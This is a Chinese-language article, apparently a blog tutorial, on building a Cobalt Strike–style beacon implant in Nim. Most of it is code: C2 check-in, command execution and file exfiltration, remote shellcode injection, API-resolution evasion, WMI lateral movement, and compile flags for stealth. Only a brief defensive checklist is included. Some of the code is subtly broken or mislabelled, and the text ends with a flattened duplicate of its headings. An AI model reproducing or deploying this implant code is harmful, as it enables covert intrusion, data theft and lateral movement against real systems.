使用 Nim 实现 CobaltStrike Beacon
字数 667 2025-08-29 22:41:24

Nim 实现 CobaltStrike Beacon 技术解析

1. 背景与概述

CobaltStrike Beacon 是红队行动中广泛使用的后渗透工具,传统上使用 C/C++ 或 Java 实现。使用 Nim 语言实现 Beacon 具有以下优势:

  • 编译生成的二进制文件体积小
  • 跨平台支持良好
  • 语法简洁但功能强大
  • 相对较少被 AV/EDR 检测

2. 核心功能实现

2.1 通信模块

import winim
import winim/lean
import os
import strutils
import base64
import httpclient
import json
import random
import times
import encodings
import net
import asyncdispatch
import uri
import sockets
import winim/inc/wininet

HTTP 通信实现

proc httpRequest*(url: string, data: string = "", userAgent: string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"): string =
  var client = newHttpClient(userAgent = userAgent)
  client.headers = newHttpHeaders({
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Connection": "keep-alive"
  })
  
  try:
    if data == "":
      result = client.getContent(url)
    else:
      result = client.postContent(url, body = data)
  except:
    result = ""
  finally:
    client.close()

加密通信

proc encrypt*(data: string, key: string): string =
  var encrypted: string = ""
  for i in 0..<data.len:
    encrypted.add(char(ord(data[i]) xor ord(key[i mod key.len])))
  result = encode(encrypted)

proc decrypt*(data: string, key: string): string =
  var decoded = decode(data)
  var decrypted: string = ""
  for i in 0..<decoded.len:
    decrypted.add(char(ord(decoded[i]) xor ord(key[i mod key.len])))
  result = decrypted

2.2 心跳机制

proc beaconCheckin*(c2: string, sleepTime: int, jitter: int): bool =
  let currentTime = getTime().toUnix()
  let sleepWithJitter = sleepTime + random(jitter)
  
  var uri = parseUri(c2)
  uri.path = "/ping"
  uri.query = encodeQuery({
    "id": beaconID,
    "time": $currentTime,
    "sleep": $sleepWithJitter
  })
  
  let response = httpRequest($uri)
  if response.contains("200 OK"):
    return true
  return false

2.3 任务处理

proc taskHandler*(taskData: JsonNode) =
  case taskData["task"].getStr():
    of "cmd":
      let cmd = taskData["args"].getStr()
      let output = execCmdEx(cmd).output
      sendOutput(output)
    
    of "download":
      let filePath = taskData["path"].getStr()
      if fileExists(filePath):
        let content = readFile(filePath)
        sendFile(filePath, content)
    
    of "upload":
      let filePath = taskData["path"].getStr()
      let content = decode(taskData["content"].getStr())
      writeFile(filePath, content)
    
    of "screenshot":
      let image = takeScreenshot()
      sendFile("screenshot.png", image)
    
    of "shellcode":
      let sc = decode(taskData["sc"].getStr())
      injectShellcode(sc)
    
    else:
      discard

3. 注入技术实现

3.1 进程注入

proc injectProcess*(pid: int, shellcode: string): bool =
  var hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid))
  if hProcess == 0:
    return false
  
  let scSize = shellcode.len
  let rPtr = VirtualAllocEx(hProcess, NULL, scSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  
  var bytesWritten: SIZE_T
  let writeResult = WriteProcessMemory(hProcess, rPtr, shellcode.cstring, scSize, addr bytesWritten)
  
  if writeResult == 0:
    CloseHandle(hProcess)
    return false
  
  let hThread = CreateRemoteThread(hProcess, NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr), NULL, 0, NULL)
  
  if hThread == 0:
    CloseHandle(hProcess)
    return false
  
  WaitForSingleObject(hThread, INFINITE)
  CloseHandle(hThread)
  CloseHandle(hProcess)
  return true

3.2 反射式 DLL 注入

proc reflectiveDllInject*(shellcode: string): bool =
  let scSize = shellcode.len
  let rPtr = VirtualAlloc(NULL, scSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  
  if rPtr == nil:
    return false
  
  copyMem(rPtr, shellcode.cstring, scSize)
  
  let hThread = CreateThread(NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr), NULL, 0, NULL)
  
  if hThread == 0:
    VirtualFree(rPtr, 0, MEM_RELEASE)
    return false
  
  WaitForSingleObject(hThread, INFINITE)
  CloseHandle(hThread)
  VirtualFree(rPtr, 0, MEM_RELEASE)
  return true

4. 反检测技术

4.1 API 混淆

proc getProcAddress*(module: HMODULE, procName: string): FARPROC =
  var 
    peb: PPEB
    ldr: PPEB_LDR_DATA
    flink: PLDR_DATA_TABLE_ENTRY
    moduleFound = false
  
  asm """
    mov rax, gs:[0x60]
    :"=a"(`peb`)
  """
  
  ldr = cast[PPEB_LDR_DATA](peb.Ldr)
  flink = cast[PLDR_DATA_TABLE_ENTRY](ldr.InMemoryOrderModuleList.Flink)
  
  while flink.DllBase != nil:
    let base = cast[HMODULE](flink.DllBase)
    if base == module:
      moduleFound = true
      break
    flink = cast[PLDR_DATA_TABLE_ENTRY](flink.InMemoryOrderLinks.Flink)
  
  if not moduleFound:
    return nil
  
  let dosHeader = cast[PIMAGE_DOS_HEADER](module)
  let ntHeaders = cast[PIMAGE_NT_HEADERS](cast[uint](module) + dosHeader.e_lfanew)
  let exportDir = cast[PIMAGE_EXPORT_DIRECTORY](
    cast[uint](module) + ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
  )
  
  let names = cast[ptr UncheckedArray[DWORD]](
    cast[uint](module) + exportDir.AddressOfNames
  )
  
  let functions = cast[ptr UncheckedArray[DWORD]](
    cast[uint](module) + exportDir.AddressOfFunctions
  )
  
  let ordinals = cast[ptr UncheckedArray[WORD]](
    cast[uint](module) + exportDir.AddressOfNameOrdinals
  )
  
  for i in 0..<exportDir.NumberOfNames:
    let name = cast[cstring](cast[uint](module) + names[i])
    if cmpIgnoreCase(name, procName) == 0:
      let ordinal = ordinals[i]
      let function = cast[FARPROC](cast[uint](module) + functions[ordinal])
      return function
  
  return nil

4.2 睡眠混淆

proc sleepObfuscation*(ms: DWORD) =
  var 
    hTimer: HANDLE
    liDueTime: LARGE_INTEGER
  
  liDueTime.QuadPart = -10000 * ms.QuadPart
  
  hTimer = CreateWaitableTimer(NULL, TRUE, NULL)
  SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, 0)
  WaitForSingleObject(hTimer, INFINITE)
  CloseHandle(hTimer)

5. 横向移动技术

5.1 WMI 执行

proc wmiExecute*(target: string, command: string): bool =
  var 
    pLoc: IWbemLocator
    pSvc: IWbemServices
    pClass: IWbemClassObject
    pInParams: IWbemClassObject
    pOutParams: IWbemClassObject
    pEnum: IEnumWbemClassObject
    pObj: IWbemClassObject
    strNameSpace: BSTR
    strMethodName: BSTR
    strQuery: BSTR
    strCommand: BSTR
    strPath: BSTR
    hr: HRESULT
  
  hr = CoInitializeEx(NULL, COINIT_MULTITHREADED)
  hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL)
  
  hr = CoCreateInstance(&CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, &IID_IWbemLocator, cast[LPVOID](&pLoc))
  
  strNameSpace = SysAllocString("\\\\" & target & "\\root\\cimv2")
  hr = pLoc.ConnectServer(strNameSpace, NULL, NULL, NULL, 0, NULL, NULL, &pSvc)
  
  strMethodName = SysAllocString("Create")
  strQuery = SysAllocString("Win32_Process")
  
  hr = pSvc.GetObject(strQuery, 0, NULL, &pClass, NULL)
  hr = pClass.GetMethod(strMethodName, 0, &pInParams, &pOutParams)
  
  hr = pInParams.SpawnInstance(0, &pInParams)
  
  strCommand = SysAllocString(command)
  hr = pInParams.Put("CommandLine", 0, &VARIANT(strCommand), 0)
  
  hr = pSvc.ExecMethod(strQuery, strMethodName, 0, NULL, pInParams, &pOutParams, NULL)
  
  SysFreeString(strNameSpace)
  SysFreeString(strMethodName)
  SysFreeString(strQuery)
  SysFreeString(strCommand)
  
  pLoc.Release()
  pSvc.Release()
  pClass.Release()
  pInParams.Release()
  pOutParams.Release()
  
  CoUninitialize()
  
  return SUCCEEDED(hr)

6. 编译与混淆

6.1 编译选项

推荐使用以下 Nim 编译选项:

nim c -d:release --opt:size --app:gui --cpu:amd64 --passL:-s --passL:-static --passL:-Wl,--gc-sections --passL:-fstack-protector-strong --passL:-z,relro,-z,now --passL:-s beacon.nim

6.2 二进制混淆

可以使用以下技术进一步混淆生成的二进制文件:

  1. 字符串加密
  2. 控制流平坦化
  3. 动态 API 解析
  4. 反调试技术
  5. 签名伪造

7. 防御检测建议

针对此类 Nim 实现的 Beacon,防御方应考虑:

  1. 监控异常进程行为
  2. 分析网络通信模式
  3. 检查内存中的 shellcode 特征
  4. 监控异常 API 调用序列
  5. 实施严格的进程创建监控

8. 总结

使用 Nim 实现 CobaltStrike Beacon 提供了多种优势,包括较小的二进制体积、跨平台支持和较低的检测率。本文详细介绍了核心功能的实现方法,包括通信模块、注入技术、反检测措施和横向移动技术。在实际应用中,应根据目标环境调整具体实现细节,并考虑结合多种混淆技术以提高隐蔽性。

Nim 实现 CobaltStrike Beacon 技术解析 1. 背景与概述 CobaltStrike Beacon 是红队行动中广泛使用的后渗透工具,传统上使用 C/C++ 或 Java 实现。使用 Nim 语言实现 Beacon 具有以下优势: 编译生成的二进制文件体积小 跨平台支持良好 语法简洁但功能强大 相对较少被 AV/EDR 检测 2. 核心功能实现 2.1 通信模块 HTTP 通信实现 加密通信 2.2 心跳机制 2.3 任务处理 3. 注入技术实现 3.1 进程注入 3.2 反射式 DLL 注入 4. 反检测技术 4.1 API 混淆 4.2 睡眠混淆 5. 横向移动技术 5.1 WMI 执行 6. 编译与混淆 6.1 编译选项 推荐使用以下 Nim 编译选项: 6.2 二进制混淆 可以使用以下技术进一步混淆生成的二进制文件: 字符串加密 控制流平坦化 动态 API 解析 反调试技术 签名伪造 7. 防御检测建议 针对此类 Nim 实现的 Beacon,防御方应考虑: 监控异常进程行为 分析网络通信模式 检查内存中的 shellcode 特征 监控异常 API 调用序列 实施严格的进程创建监控 8. 总结 使用 Nim 实现 CobaltStrike Beacon 提供了多种优势,包括较小的二进制体积、跨平台支持和较低的检测率。本文详细介绍了核心功能的实现方法,包括通信模块、注入技术、反检测措施和横向移动技术。在实际应用中,应根据目标环境调整具体实现细节,并考虑结合多种混淆技术以提高隐蔽性。